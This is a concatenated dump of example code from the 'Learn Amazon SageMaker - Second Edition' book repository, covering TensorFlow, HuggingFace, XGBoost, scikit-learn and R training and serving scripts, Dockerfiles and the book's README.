parser.add_argument('--training', type=str, default=os.environ['SM_CHANNEL_TRAINING'])
parser.add_argument('--validation', type=str, default=os.environ['SM_CHANNEL_VALIDATION'])
args, _ = parser.parse_known_args()
epochs = args.epochs
lr = args.learning_rate
batch_size = args.batch_size
gpu_count = args.gpu_count
model_dir = args.model_dir
training_dir = args.training
validation_dir = args.validation
# Load data set
x_train = np.load(os.path.join(training_dir, 'training.npz'))['image']
y_train = np.load(os.path.join(training_dir, 'training.npz'))['label']
x_val = np.load(os.path.join(validation_dir, 'validation.npz'))['image']
y_val = np.load(os.path.join(validation_dir, 'validation.npz'))['label']
# Add extra dimension for channel: (28,28) --> (28, 28, 1)
x_train = x_train[..., tf.newaxis]
x_val = x_val[..., tf.newaxis]
# Prepare training and validation iterators
# - define batch size
# - normalize pixel values to [0,1]
# - one-hot encode labels
preprocess = lambda x, y: (tf.divide(tf.cast(x, tf.float32), 255.0), tf.reshape(tf.one_hot(y, 10), (-1, 10)))
if (gpu_count > 1):
batch_size *= gpu_count
train = tf.data.Dataset.from_tensor_slices((x_train, y_train)).batch(batch_size)
train = train.map(preprocess)
train = train.repeat()
val = tf.data.Dataset.from_tensor_slices((x_val, y_val)).batch(batch_size)
val = val.map(preprocess)
val = val.repeat()
# Build model
model = FMNISTModel()
model.compile(optimizer='adam',
loss='categorical_crossentropy',
metrics=['accuracy'])
# Train model
train_steps = x_train.shape[0] / batch_size
val_steps = x_val.shape[0] / batch_size
model.fit(train,
epochs=epochs,
steps_per_epoch=train_steps,
validation_data=val,
validation_steps=val_steps)
# save model for Tensorflow Serving
model.save(os.path.join(model_dir, '1'))
<file_sep>/Chapter 09/ddp_dmp/tf/model.py
from tensorflow.keras import Model
from tensorflow.keras.layers import Conv2D, MaxPooling2D, BatchNormalization, Flatten, Dense, Dropout, Softmax
class FMNISTModel(Model):
# Create the different layers used by the model
def __init__(self):
super(FMNISTModel, self).__init__(name='fmnist_model')
self.conv2d_1 = Conv2D(64, 3, padding='same', activation='relu',input_shape=(28,28))
self.conv2d_2 = Conv2D(64, 3, padding='same', activation='relu')
self.max_pool2d = MaxPooling2D((2, 2), padding='same')
#self.batch_norm = BatchNormalization()
self.flatten = Flatten()
self.dense1 = Dense(512, activation='relu')
self.dense2 = Dense(10)
self.dropout = Dropout(0.3)
self.softmax = Softmax()
# Chain the layers for forward propagation
def call(self, x):
# 1st convolution block
x = self.conv2d_1(x)
x = self.max_pool2d(x)
#x = self.batch_norm(x)
# 2nd convolution block
x = self.conv2d_2(x)
x = self.max_pool2d(x)
#x = self.batch_norm(x)
# Flatten and classify
x = self.flatten(x)
x = self.dense1(x)
x = self.dropout(x)
x = self.dense2(x)
return self.softmax(x)
<file_sep>/Chapter 07/huggingface/src/torchserve-predictor.py
import json
import torch
from transformers import AutoConfig, AutoTokenizer, DistilBertForSequenceClassification
JSON_CONTENT_TYPE = 'application/json'
CLASS_NAMES = ['negative', 'positive']
def model_fn(model_dir):
config_path = '{}/config.json'.format(model_dir)
model_path = '{}/pytorch_model.bin'.format(model_dir)
config = AutoConfig.from_pretrained(config_path)
model = DistilBertForSequenceClassification.from_pretrained(model_path, config=config)
print(config)
return model
tokenizer = AutoTokenizer.from_pretrained('distilbert-base-uncased')
def predict_fn(input_data, model):
inputs = tokenizer(input_data['text'], return_tensors='pt')
outputs = model(**inputs)
logits = outputs.logits
_, prediction = torch.max(logits, dim=1)
return CLASS_NAMES[prediction]
def input_fn(serialized_input_data, content_type=JSON_CONTENT_TYPE):
if content_type == JSON_CONTENT_TYPE:
input_data = json.loads(serialized_input_data)
return input_data
else:
raise Exception('Unsupported input type: ' + content_type)
def output_fn(prediction_output, accept=JSON_CONTENT_TYPE):
if accept == JSON_CONTENT_TYPE:
return json.dumps(prediction_output), accept
else:
raise Exception('Unsupported output type: ' + accept)
<file_sep>/Chapter 08/R_custom/train_function.R
library("rjson")
train <- function() {
hp <- fromJSON(file='/opt/ml/input/config/hyperparameters.json')
print(hp)
normalize <- hp$normalize
data <- read.csv(file='/opt/ml/input/data/training/housing.csv', header=T)
if (normalize) {
data <- as.data.frame(scale(data))
}
print(summary(data))
model = lm(medv~., data)
print(summary(model))
saveRDS(model, '/opt/ml/model/model.rds')
}<file_sep>/Chapter 08/R_custom/main.R
library('plumber')
source('train_function.R')
serve <- function() {
app <- plumb('serve_function.R')
app$run(host='0.0.0.0', port=8080)}
args <- commandArgs()
if (any(grepl('train', args))) {
train()
}
if (any(grepl('serve', args))) {
serve()
}
<file_sep>/Chapter 08/mlflow/predict-xgboost-local.py
import json
import requests
from load_dataset import load_dataset
port = 8888
if __name__ == '__main__':
# Load test set
x_train, x_test, y_train, y_test = load_dataset('bank-additional/bank-additional-full.csv')
# Predict first 10 samples
input_data = x_test[:10].to_json(orient="split")
endpoint = "http://localhost:{}/invocations".format(port)
headers = {"Content-type": "application/json; format=pandas-split"}
prediction = requests.post(endpoint, json=json.loads(input_data), headers=headers)
print(prediction.text)
<file_sep>/Chapter 11/endpoints/xgb/xgb-script.py
import os
import xgboost as xgb
def model_fn(model_dir):
model = xgb.Booster()
model.load_model(os.path.join(model_dir, 'xgboost-model'))
return model<file_sep>/Chapter 07/dependencies/src/sklearn-boston-housing.py
import pandas as pd
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split
import joblib
import argparse, os
from printmetrics import printmetrics
def model_fn(model_dir):
model = joblib.load(os.path.join(model_dir, 'model.joblib'))
return model
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--normalize', type=bool, default=False)
parser.add_argument('--test-size', type=float, default=0.1)
parser.add_argument('--random-state', type=int, default=123)
parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])
parser.add_argument('--training', type=str, default=os.environ['SM_CHANNEL_TRAINING'])
args, _ = parser.parse_known_args()
normalize = args.normalize
test_size = args.test_size
random_state = args.random_state
model_dir = args.model_dir
training_dir = args.training
filename = os.path.join(training_dir, 'housing.csv')
data = pd.read_csv(filename)
labels = data[['medv']]
samples = data.drop(['medv'], axis=1)
X_train, X_test, y_train, y_test = train_test_split(samples, labels,
test_size=test_size, random_state=random_state)
regr = LinearRegression(normalize=normalize)
regr.fit(X_train, y_train)
y_pred = regr.predict(X_test)
printmetrics(y_test, y_pred)
model = os.path.join(model_dir, 'model.joblib')
joblib.dump(regr, model)
<file_sep>/Chapter 10/model_tuning/fmnist-4.py
import os, argparse, glob
import numpy as np
import tensorflow as tf
from tensorflow.keras.models import Sequential, load_model, save_model
from tensorflow.keras.layers import Activation, Dense, Dropout, Flatten, BatchNormalization, Conv2D, MaxPooling2D
from tensorflow.keras.callbacks import Callback, EarlyStopping, ModelCheckpoint
from tensorflow.keras.utils import multi_gpu_model, to_categorical
import subprocess, sys
def install(package):
subprocess.call([sys.executable, "-m", "pip", "install", package])
# Keras-metrics brings additional metrics: precision, recall, f1
install('keras-metrics')
import keras_metrics
print ('Keras ', tf.keras.__version__)
parser = argparse.ArgumentParser()
parser.add_argument('--epochs', type=int, default=10)
parser.add_argument('--learning-rate', type=float, default=0.1)
parser.add_argument('--batch-size', type=int, default=128)
parser.add_argument('--filters1', type=int, default=64)
parser.add_argument('--filters2', type=int, default=64)
parser.add_argument('--batch-norm', type=str, default='yes')
parser.add_argument('--bn-momentum', type=float, default=0.99)
parser.add_argument('--bn-epsilon', type=float, default=0.001)
parser.add_argument('--dropout-conv', type=float, default=0.2)
parser.add_argument('--num-fc', type=int, default=1)
parser.add_argument('--dropout-fc', type=float, default=0.2)
parser.add_argument('--gpu-count', type=int, default=os.environ['SM_NUM_GPUS'])
parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])
parser.add_argument('--training', type=str, default=os.environ['SM_CHANNEL_TRAINING'])
parser.add_argument('--validation', type=str, default=os.environ['SM_CHANNEL_VALIDATION'])
args, _ = parser.parse_known_args()
epochs = args.epochs
lr = args.learning_rate
batch_size = args.batch_size
filters1 = args.filters1
filters2 = args.filters2
batch_norm = args.batch_norm
bn_momentum = args.bn_momentum
bn_epsilon = args.bn_epsilon
dropout_conv = args.dropout_conv
dropout_fc = args.dropout_fc
gpu_count = args.gpu_count
model_dir = args.model_dir
training_dir = args.training
validation_dir = args.validation
chk_dir = '/opt/ml/checkpoints'
# Load data set
x_train = np.load(os.path.join(training_dir, 'training.npz'))['image']
y_train = np.load(os.path.join(training_dir, 'training.npz'))['label']
x_val = np.load(os.path.join(validation_dir, 'validation.npz'))['image']
y_val = np.load(os.path.join(validation_dir, 'validation.npz'))['label']
img_rows, img_cols = 28, 28
x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)
x_val = x_val.reshape(x_val.shape[0], img_rows, img_cols, 1)
print('x_train shape:', x_train.shape)
print('x_val shape:', x_val.shape)
# Normalize pixel values
x_train = x_train.astype('float32')
x_val = x_val.astype('float32')
x_train /= 255
x_val /= 255
# Convert class vectors to binary class matrices
num_classes = 10
y_train = to_categorical(y_train, num_classes)
y_val = to_categorical(y_val, num_classes)
# Check if checkpoints are available
checkpoints = sorted(glob.glob(os.path.join(chk_dir,'fmnist-cnn-*')))
if checkpoints :
last_checkpoint = checkpoints[-1]
last_epoch = int(last_checkpoint.split('-')[-1])
model = load_model(last_checkpoint)
print('Loaded checkpoint for epoch', last_epoch)
else:
last_epoch = 0
# Build model
model = Sequential()
# 1st convolution block
model.add(Conv2D(filters1, kernel_size=(3,3), padding='same', input_shape=(img_rows, img_cols, 1)))
if batch_norm == 'yes' :
model.add(BatchNormalization(momentum=bn_momentum, epsilon=bn_epsilon))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2,2), strides=2))
model.add(Dropout(dropout_conv))
# 2nd convolution block
model.add(Conv2D(filters2, kernel_size=(3,3), padding='valid'))
if batch_norm == 'yes' :
model.add(BatchNormalization(momentum=bn_momentum, epsilon=bn_epsilon))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2,2), strides=2))
model.add(Dropout(dropout_conv))
# 1st fully connected block
model.add(Flatten())
model.add(Dense(256))
if batch_norm == 'yes' :
model.add(BatchNormalization(momentum=bn_momentum, epsilon=bn_epsilon))
model.add(Activation('relu'))
model.add(Dropout(dropout_fc))
# 2nd fully connected block
model.add(Dense(64))
if batch_norm == 'yes' :
model.add(BatchNormalization(momentum=bn_momentum, epsilon=bn_epsilon))
model.add(Activation('relu'))
model.add(Dropout(dropout_fc))
# Output layer
model.add(Dense(num_classes, activation='softmax'))
print(model.summary())
if gpu_count > 1:
model = multi_gpu_model(model, gpus=gpu_count)
model.compile(loss=tf.keras.losses.categorical_crossentropy,
optimizer=tf.keras.optimizers.Adam(),
metrics=['accuracy',
keras_metrics.precision(),
keras_metrics.recall(),
keras_metrics.f1_score()])
# Define callback to save best epoch
chk_name = 'fmnist-cnn-{epoch:04d}'
checkpointer = ModelCheckpoint(filepath=os.path.join(chk_dir,chk_name),
monitor='val_accuracy')
# Define callback for early stopping
early_stopping = EarlyStopping(monitor='val_accuracy',
min_delta=0,
patience=25,
verbose=1, mode='auto')
# Define custom callback to log best validation metric
class LogBestMetric(Callback):
def on_train_begin(self, logs={}):
self.val_accuracy = []
def on_train_end(self, logs={}):
print("Best val_accuracy:", max(self.val_accuracy))
def on_epoch_end(self, batch, logs={}):
self.val_accuracy.append(logs.get('val_accuracy'))
best_val_metric = LogBestMetric()
model.fit(x=x_train,
y=y_train,
batch_size=batch_size,
validation_data=(x_val, y_val),
epochs=epochs,
callbacks=[checkpointer, early_stopping, best_val_metric],
verbose=1,
initial_epoch=last_epoch)
# save model for Tensorflow Serving
save_model(model, os.path.join(model_dir, '1'), save_format='tf')
<file_sep>/README.md
# Learn Amazon SageMaker - Second Edition
<a href="https://www.packtpub.com/product/learn-amazon-sagemaker-second-edition/9781801817950?utm_source=github&utm_medium=repository&utm_campaign=9781801817950"><img src="https://static.packt-cdn.com/products/9781801817950/cover/smaller" alt="Learn Amazon SageMaker, Second Edition" height="256px" align="right"></a>
This is the code repository for [Learn Amazon SageMaker - Second Edition](https://www.packtpub.com/product/learn-amazon-sagemaker-second-edition/9781801817950?utm_source=github&utm_medium=repository&utm_campaign=9781801817950), published by Packt.
**A guide to building, training, and deploying machine learning models for developers and data scientists**
## What is this book about?
This updated second edition of Learn Amazon SageMaker will teach you how to move quickly from business questions to high performance models in production. Using machine learning and deep learning examples implemented with Python and Jupyter notebooks, you’ll learn how to make the most of the many features and APIs of Amazon SageMaker.
This book covers the following exciting features:
* Become well-versed with data annotation and preparation techniques
* Use AutoML features to build and train machine learning models with AutoPilot
* Create models using built-in algorithms and frameworks and your own code
* Train computer vision and natural language processing (NLP) models using real-world examples
* Cover training techniques for scaling, model optimization, model debugging, and cost optimization
* Automate deployment tasks in a variety of configurations using SDK and several automation tools
If you feel this book is for you, get your [copy](https://www.amazon.com/dp/1801077053) today!
<a href="https://www.packtpub.com/?utm_source=github&utm_medium=banner&utm_campaign=GitHubBanner"><img src="https://raw.githubusercontent.com/PacktPublishing/GitHub/master/GitHub.png"
alt="https://www.packtpub.com/" border="5" /></a>
## Instructions and Navigations
All of the code is organized into folders.
The code will look like the following:
```
od = sagemaker.estimator.Estimator(
container,
role,
train_instance_count=2,
train_instance_type='ml.p3.2xlarge',
train_use_spot_instances=True,
train_max_run=3600, # 1 hours
train_max_wait=7200, # 2 hour
output_path=s3_output)
```
**Following is what you need for this book:**
This book is for software engineers, machine learning developers, data scientists, and AWS users who are new to using Amazon SageMaker and want to build high-quality machine learning models without worrying about infrastructure. Knowledge of AWS basics is required to grasp the concepts covered in this book more effectively. A solid understanding of machine learning concepts and the Python programming language will also be beneficial.
### Software and Hardware List
You will need a functional AWS account for running everything.
We also provide a PDF file that has color images of the screenshots/diagrams used in this book. [Click here to download it](https://static.packt-cdn.com/downloads/9781801817950_ColorImages.pdf).
### Related products <Other books you may enjoy>
* Machine Learning with Amazon SageMaker Cookbook [[Packt]](https://www.packtpub.com/product/machine-learning-with-amazon-sagemaker-cookbook/9781800567030?utm_source=github&utm_medium=repository&utm_campaign=9781800567030) [[Amazon]](https://www.amazon.com/dp/B093TJ9KG2)
* Amazon Redshift Cookbook [[Packt]](https://www.packtpub.com/product/amazon-redshift-cookbook/9781800569683?utm_source=github&utm_medium=repository&utm_campaign=9781800569683) [[Amazon]](https://www.amazon.com/dp/1800569688)
## Get to Know the Author
**<NAME>**
is a Principal Developer Advocate for AI & Machine Learning at Amazon Web Services. He focuses on helping developers and enterprises bring their ideas to life. He frequently speaks at conferences, blogs on the AWS Blog and on Medium, and he also runs an AI/ML podcast.
Prior to joining AWS, Julien served for 10 years as CTO/VP Engineering in top-tier web startups where he led large Software and Ops teams in charge of thousands of servers worldwide. In the process, he fought his way through a wide range of technical, business and procurement issues,
which helped him gain a deep understanding of physical infrastructure, its limitations and how cloud computing can help.
<file_sep>/Chapter 10/feature_store/preprocessing.py
import argparse, os, subprocess, sys
from time import gmtime, strftime
import pandas as pd
import numpy as np
import boto3
def pip_install(package):
subprocess.call([sys.executable, "-m", "pip", "install", package])
def spacy_install(package):
subprocess.call([sys.executable, "-m", "spacy", "download", package])
if __name__=='__main__':
parser = argparse.ArgumentParser()
# preprocessing arguments
parser.add_argument('--filename', type=str)
parser.add_argument('--num-reviews', type=int)
parser.add_argument('--library', type=str, default='spacy')
args, _ = parser.parse_known_args()
print('Received arguments {}'.format(args))
filename = args.filename
num_reviews = args.num_reviews
library = args.library
# Load dataset into a pandas dataframe
input_data_path = os.path.join('/opt/ml/processing/input', filename)
print('Reading input data from {}'.format(input_data_path))
data = pd.read_csv(input_data_path, sep='\t', compression='gzip',
error_bad_lines=False, dtype='str')
# Remove lines with missing values
data.dropna(inplace=True)
# Keep only 'num_reviews' rows
if num_reviews is not None:
data = data[:num_reviews]
# Drop unwanted columns
data['review_body'] = data['review_headline'] + ' ' + data['review_body']
data = data[['review_id', 'product_id', 'star_rating', 'review_body']]
# Add label column
data['label'] = data.star_rating.map({
'1': '__label__negative__',
'2': '__label__negative__',
'3': '__label__neutral__',
'4': '__label__positive__',
'5': '__label__positive__'})
# Tokenize data
print('Tokenizing reviews')
if library == 'nltk':
pip_install('nltk')
import nltk
nltk.download('punkt')
data['review_body'] = data['review_body'].apply(nltk.word_tokenize)
data['review_body'] = data.apply(lambda row: " ".join(row['review_body']).lower(), axis=1)
elif library == 'spacy':
pip_install('spacy')
spacy_install('en_core_web_sm')
import spacy
spacy_nlp = spacy.load('en_core_web_sm')
def tokenize(text):
tokens = spacy_nlp.tokenizer(text)
tokens = [ t.text for t in tokens ]
return " ".join(tokens).lower()
data['review_body'] = data['review_body'].apply(tokenize)
else:
print('Incorrect library name: should be nltk or spacy.')
exit()
# Create output dirs
bt_output_dir = '/opt/ml/processing/output/bt/'
fs_output_dir = '/opt/ml/processing/output/fs/'
os.makedirs(bt_output_dir, exist_ok=True)
os.makedirs(fs_output_dir, exist_ok=True)
# Save data in TSV format for SageMaker Feature Store
fs_output_path = os.path.join(fs_output_dir, 'fs_data.tsv')
print('Saving SageMaker Feature Store training data to {}'.format(fs_output_path))
data.to_csv(fs_output_path, index=False, header=True, sep='\t')
# Save data in BlazingText format, with label column at the front
bt_output_path = os.path.join(bt_output_dir, 'bt_data.txt')
data = data[['label', 'review_body']]
print('Saving BlazingText data to {}'.format(bt_output_path))
np.savetxt(bt_output_path, data.values, fmt='%s')<file_sep>/Chapter 08/sm_processing_custom/Dockerfile
FROM python:3.7-slim
RUN pip3 install --no-cache gensim nltk sagemaker
RUN python3 -m nltk.downloader stopwords wordnet
ADD preprocessing-lda-ntm.py /
ENTRYPOINT ["python3", "/preprocessing-lda-ntm.py"]<file_sep>/Chapter 08/mlflow/predict-xgboost.py
import boto3
from load_dataset import load_dataset
app_name = 'mlflow-xgb-demo'
region = 'eu-west-1'
if __name__ == '__main__':
sm = boto3.client('sagemaker', region_name=region)
smrt = boto3.client('runtime.sagemaker', region_name=region)
# Check endpoint status
endpoint = sm.describe_endpoint(EndpointName=app_name)
print("Endpoint status: ", endpoint["EndpointStatus"])
# Load test set
x_train, x_test, y_train, y_test = load_dataset('bank-additional/bank-additional-full.csv')
# Predict first 10 samples
input_data = x_test[:10].to_json(orient="split")
prediction = smrt.invoke_endpoint(
EndpointName=app_name,
Body=input_data,
ContentType='application/json; format=pandas-split'
)
prediction = prediction['Body'].read().decode("ascii")
print(prediction)
<file_sep>/Chapter 06/blazingtext/preprocessing.py
import argparse, os, subprocess, sys
import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split
def install(package):
subprocess.call([sys.executable, "-m", "pip", "install", package])
if __name__=='__main__':
install('nltk')
import nltk
parser = argparse.ArgumentParser()
parser.add_argument('--filename', type=str)
parser.add_argument('--num-reviews', type=int)
parser.add_argument('--split-ratio', type=float, default=0.1)
args, _ = parser.parse_known_args()
print('Received arguments {}'.format(args))
filename = args.filename
num_reviews = args.num_reviews
split_ratio = args.split_ratio
# Load dataset into a pandas dataframe
input_data_path = os.path.join('/opt/ml/processing/input', filename)
print('Reading input data from {}'.format(input_data_path))
data = pd.read_csv(input_data_path, sep='\t', compression='gzip',
error_bad_lines=False, dtype='str')
# Remove lines with missing values
data.dropna(inplace=True)
if num_reviews is not None:
data = data[:num_reviews]
# Drop unwanted columns
data = data[['star_rating', 'review_body']]
# Add label column
data['label'] = data.star_rating.map({
'1': '__label__negative__',
'2': '__label__negative__',
'3': '__label__neutral__',
'4': '__label__positive__',
'5': '__label__positive__'})
data = data.drop(['star_rating'], axis=1)
# Move label column to the front
data = data[['label', 'review_body']]
# Tokenize reviews
nltk.download('punkt')
print('Tokenizing reviews')
data['review_body'] = data['review_body'].apply(nltk.word_tokenize)
data['review_body'] = data.apply(lambda row: " ".join(row['review_body']).lower(), axis=1)
# Process data
print('Splitting data with ratio {}'.format(split_ratio))
training, validation = train_test_split(data, test_size=split_ratio)
training_output_path = os.path.join('/opt/ml/processing/train', 'training.txt')
validation_output_path = os.path.join('/opt/ml/processing/validation', 'validation.txt')
print('Saving training data to {}'.format(training_output_path))
np.savetxt(training_output_path, training.values, fmt='%s')
print('Saving validation data to {}'.format(validation_output_path))
np.savetxt(validation_output_path, validation.values, fmt='%s')<file_sep>/Chapter 08/sklearn_custom/generic_estimator/sklearn-boston-housing-generic.py
#!/usr/bin/env python
import pandas as pd
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split
from sklearn.metrics import mean_squared_error, r2_score
import joblib
import os, json
if __name__ == '__main__':
config_dir = '/opt/ml/input/config'
training_dir = '/opt/ml/input/data/training'
model_dir = '/opt/ml/model'
with open(os.path.join(config_dir, 'hyperparameters.json')) as f:
hp = json.load(f)
print(hp)
normalize = hp['normalize']
test_size = float(hp['test-size'])
random_state = int(hp['random-state'])
filename = os.path.join(training_dir, 'housing.csv')
data = pd.read_csv(filename)
labels = data[['medv']]
samples = data.drop(['medv'], axis=1)
X_train, X_test, y_train, y_test = train_test_split(samples, labels,
test_size=test_size, random_state=random_state)
regr = LinearRegression(normalize=normalize)
regr.fit(X_train, y_train)
y_pred = regr.predict(X_test)
print('Mean squared error: %.2f' % mean_squared_error(y_test, y_pred))
print('Coefficient of determination: %.2f' % r2_score(y_test, y_pred))
joblib.dump(regr, os.path.join(model_dir, 'model.joblib'))<file_sep>/Chapter 11/export/xgb/xgb-dm.py
import os, argparse
import xgboost as xgb
import pandas as pd
def model_fn(model_dir):
model = xgb.Booster()
model.load_model(os.path.join(model_dir, 'xgb.model'))
return model
def load_dataset(path):
# Load dataset
data = pd.read_csv(path)
# Split samples and labels
x = data.drop(['y_yes'], axis=1)
y = data['y_yes']
return x,y
if __name__ == '__main__':
print("XGBoost", xgb.__version__)
parser = argparse.ArgumentParser()
# https://xgboost.readthedocs.io/en/latest/parameter.html
parser.add_argument('--max-depth', type=int, default=4)
parser.add_argument('--early-stopping-rounds', type=int, default=10)
parser.add_argument('--eval-metric', type=str, default='error')
parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])
parser.add_argument('--training-dir', type=str, default=os.environ['SM_CHANNEL_TRAINING'])
parser.add_argument('--validation', type=str, default=os.environ['SM_CHANNEL_VALIDATION'])
args, _ = parser.parse_known_args()
max_depth = args.max_depth
early_stopping_rounds = args.early_stopping_rounds
eval_metric = args.eval_metric
model_dir = args.model_dir
training_dir = args.training_dir
validation_dir = args.validation
x_train, y_train = load_dataset(os.path.join(training_dir, 'training.csv'))
x_val, y_val = load_dataset(os.path.join(validation_dir, 'validation.csv'))
cls = xgb.XGBClassifier(
objective='binary:logistic',
eval_metric=eval_metric,
max_depth=max_depth)
cls.fit(x_train,
y_train,
eval_set=[(x_val, y_val)],
early_stopping_rounds=early_stopping_rounds)
cls.save_model(os.path.join(model_dir, 'xgb.model'))
# See https://xgboost.readthedocs.io/en/latest/tutorials/saving_model.html<file_sep>/Chapter 06/blazingtext/preprocessing-word2vec.py
import argparse, os, subprocess, sys
import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split
def install(package):
subprocess.call([sys.executable, "-m", "pip", "install", package])
def spacy_load(package):
subprocess.call([sys.executable, "-m", "spacy", "download", package])
if __name__=='__main__':
install('spacy')
spacy_load('en_core_web_sm')
import spacy
parser = argparse.ArgumentParser()
parser.add_argument('--filename', type=str)
parser.add_argument('--num-reviews', type=int)
args, _ = parser.parse_known_args()
print('Received arguments {}'.format(args))
filename = args.filename
num_reviews = args.num_reviews
# Load dataset into a pandas dataframe
input_data_path = os.path.join('/opt/ml/processing/input', filename)
print('Reading input data from {}'.format(input_data_path))
data = pd.read_csv(input_data_path, sep='\t', compression='gzip',
error_bad_lines=False, dtype='str', nrows=num_reviews)
# Remove lines with missing values and duplicates
data.dropna(inplace=True)
data.drop_duplicates(inplace=True)
# Drop unwanted columns
data = data[['review_body']]
# Tokenize reviews
spacy_nlp = spacy.load('en_core_web_sm')
def tokenize(text):
tokens = spacy_nlp.tokenizer(text)
tokens = [ t.text for t in tokens ]
return " ".join(tokens).lower()
print('Tokenizing reviews')
data['review_body'] = data['review_body'].apply(tokenize)
training_output_path = os.path.join('/opt/ml/processing/train', 'training.txt')
print('Saving training data to {}'.format(training_output_path))
np.savetxt(training_output_path, data.values, fmt='%s')<file_sep>/Chapter 12/pipelines/ingesting.py
import boto3, argparse, os, subprocess, sys
import time
from time import time, gmtime, strftime, sleep
import pandas as pd
def pip_install(package):
subprocess.call([sys.executable, "-m", "pip", "install", package])
pip_install('sagemaker')
import sagemaker
if __name__=='__main__':
parser = argparse.ArgumentParser()
# preprocessing arguments
parser.add_argument('--region', type=str)
parser.add_argument('--bucket', type=str)
parser.add_argument('--prefix', type=str, default='amazon-reviews-featurestore')
parser.add_argument('--role', type=str)
parser.add_argument('--feature-group-name', type=str)
parser.add_argument('--max-workers', type=int, default=4)
args, _ = parser.parse_known_args()
print('Received arguments {}'.format(args))
region = args.region
bucket = args.bucket
prefix = args.prefix
role = args.role
fg_name = args.feature_group_name
max_workers = args.max_workers
boto_session = boto3.Session(region_name=region)
sagemaker_client = boto_session.client(service_name='sagemaker')
featurestore_client = boto_session.client(service_name='sagemaker-featurestore-runtime')
session = sagemaker.session.Session(
boto_session=boto_session,
sagemaker_client=sagemaker_client,
sagemaker_featurestore_runtime_client=featurestore_client)
# Load input data
input_data_path = '/opt/ml/processing/input/fs_data.tsv'
print('Reading input data from {}'.format(input_data_path))
data = pd.read_csv(input_data_path, sep='\t',
error_bad_lines=False, dtype='str')
# Define the feature group name
print('Creating feature group...')
from sagemaker.feature_store.feature_group import FeatureGroup
feature_group = FeatureGroup(name=fg_name, sagemaker_session=session)
# Define the name of the column storing a unique record id (e.g. primary key)
record_identifier_feature_name = 'review_id'
# Add a column to store feature timestamps
event_time_feature_name = 'event_time'
current_time_sec = int(round(time()))
data = data.assign(event_time=current_time_sec)
# Set the correct type for each column
data['review_id'] = data['review_id'].astype('str').astype('string')
data['product_id'] = data['product_id'].astype('str').astype('string')
data['review_body'] = data['review_body'].astype('str').astype('string')
data['label'] = data['label'].astype('str').astype('string')
data['star_rating'] = data['star_rating'].astype('int64')
data['event_time'] = data['event_time'].astype('float64')
# Load feature definitions
feature_group.load_feature_definitions(data_frame=data)
# Create feature group
feature_group.create(
s3_uri='s3://{}/{}'.format(bucket, prefix),
record_identifier_name=record_identifier_feature_name,
event_time_feature_name=event_time_feature_name,
role_arn=role,
enable_online_store=True,
description="1.8M+ tokenized camera reviews from the Amazon Customer Reviews dataset",
tags=[
{ 'Key': 'Dataset', 'Value': 'amazon customer reviews' },
{ 'Key': 'Subset', 'Value': 'cameras' },
{ 'Key': 'Owner', 'Value': '<NAME>' }
]
)
# Wait for feature group to be ready
while feature_group.describe().get("FeatureGroupStatus") != 'Created':
sleep(1)
print('Feature group created')
# Ingest data
print('Ingesting data...')
try:
feature_group.ingest(data_frame=data, max_workers=max_workers, wait=True)
except Exception:
pass
print('Waiting...')
# Wait for 10 minutes to make sure data has flowed to the offline store
# https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-offline.html
sleep(600)
# Save feature group name
with open('/opt/ml/processing/output/feature_group_name.txt', 'w+') as f:
f.write(fg_name)
print('Job complete')<file_sep>/Chapter 08/sklearn_custom/generic_estimator/Dockerfile
FROM python:3.7
RUN pip3 install --no-cache scikit-learn numpy pandas joblib
RUN pip3 install --no-cache flask
COPY sklearn-boston-housing-generic.py /usr/bin/train
COPY sklearn-boston-housing-serve.py /usr/bin/serve
RUN chmod 755 /usr/bin/train /usr/bin/serve
EXPOSE 8080
<file_sep>/Chapter 08/mlflow/load_dataset.py
import mlflow
import pandas as pd
from sklearn.model_selection import train_test_split
def load_dataset(path, test_size=0.2, random_state=123):
# Load dataset
data = pd.read_csv(path)
# Process dataset
data = pd.get_dummies(data)
data = data.drop(['y_no'], axis=1)
x = data.drop(['y_yes'], axis=1)
y = data['y_yes']
# Log dataset parameters
mlflow.log_param("dataset_path", path)
mlflow.log_param("dataset_shape", data.shape)
mlflow.log_param("test_size", test_size)
mlflow.log_param("random_state", random_state)
mlflow.log_param("one_hot_encoding", True)
return train_test_split(x, y, test_size=test_size, random_state=random_state)
if __name__ == '__main__':
x_train, x_test, y_train, y_test = load_dataset(
'bank-additional/bank-additional-full.csv')
print(x_train.head())
print(y_train.head())
<file_sep>/Chapter 08/sklearn_custom/generic_estimator/sklearn-boston-housing-serve.py
#!/usr/bin/env python
import joblib, os
import pandas as pd
from io import StringIO
import flask
from flask import Flask, Response
model_dir = '/opt/ml/model'
model = joblib.load(os.path.join(model_dir, "model.joblib"))
app = Flask(__name__)
@app.route("/ping", methods=["GET"])
def ping():
return Response(response="\n", status=200)
@app.route("/invocations", methods=["POST"])
def predict():
if flask.request.content_type == 'text/csv':
data = flask.request.data.decode('utf-8')
s = StringIO(data)
print("input: ", s.getvalue())
data = pd.read_csv(s, header=None)
response = model.predict(data)
response = str(response)
print("response: ", response)
else:
return flask.Response(response='CSV data only', status=415, mimetype='text/plain')
return Response(response=response, status=200)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
| 3bc512976f53aa5a40a72598a8e1ec6c896ac04c | [
"Markdown",
"Python",
"Text",
"R",
"Dockerfile"
] | 34 | Dockerfile | amliuyong/Learn-Amazon-SageMaker-second-edition | a5483b6407aba069fd04c00114a5edff79f5c4b2 | d639710a2176d7bae0558760853eda18e923bb9b |
refs/heads/master | <file_sep>package mx.com.assessment.dto;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
@Getter
@Setter
@NoArgsConstructor
public class WeeklyReportDto {
private Integer weekNum;
private String startDay;
private String endDay;
private Integer quantity;
}
<file_sep>package mx.com.assessment.service;
import java.time.LocalDate;
import java.util.Calendar;
import java.util.List;
